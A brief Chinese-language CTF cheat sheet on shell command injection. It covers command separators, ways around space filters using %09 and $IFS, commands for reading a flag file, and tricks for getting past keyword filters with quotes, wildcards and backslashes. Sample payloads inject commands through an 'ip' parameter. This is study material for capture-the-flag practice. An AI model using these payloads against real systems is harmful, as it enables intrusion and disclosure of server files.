CTF Shell 命令执行与绕过记录
整理 Shell 命令连接、空格绕过、文件查看和关键字绕过相关记录。
命令连接符
;:无论前一条指令是否成功,继续执行后一条。
;
&&:前一条成功,才执行后一条。编码为 %26%26。
&&
||:前一条命令失败,才执行后一条。
||
|:把前一条命令的输出,交给后一条命令处理。
|
空格绕过
%09 是参数分隔符。
%09
${IFS}=$IFS$9 是空白字符。
${IFS}
$IFS$9
示例:
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
自己构造变量拼接。
查看文件
cat:正常顺序
cat flag.php
tac:倒序
tac flag.php
head:看文件开头
看前十行:
head -n 10 flag.php
tail:查看文件末尾
tail flag.php
base64:把文件内容编码后输出
base64 flag.php
本地解码:
echo "base64内容" | base64 -d
输入重定向
把 flag.php 内容作为标准输入交给 cat:
cat<flag.php
关键字绕过
空引号拼接
fl''ag.php
fl""ag
以上写法等于:
flag.php
flag
字符组通配符
可能匹配 flag.php:
fla[g].php
问号通配符
可能匹配 flag.php:
fla?.php
星号通配符
*.php
反斜杠拆分
fla\g.php
以上写法等于:
flag.php
小 tips
?ip=127.0.0.1;cat$IFS`ls`
先读取 ls,再用 cat 输出,有可能有意想不到的彩蛋。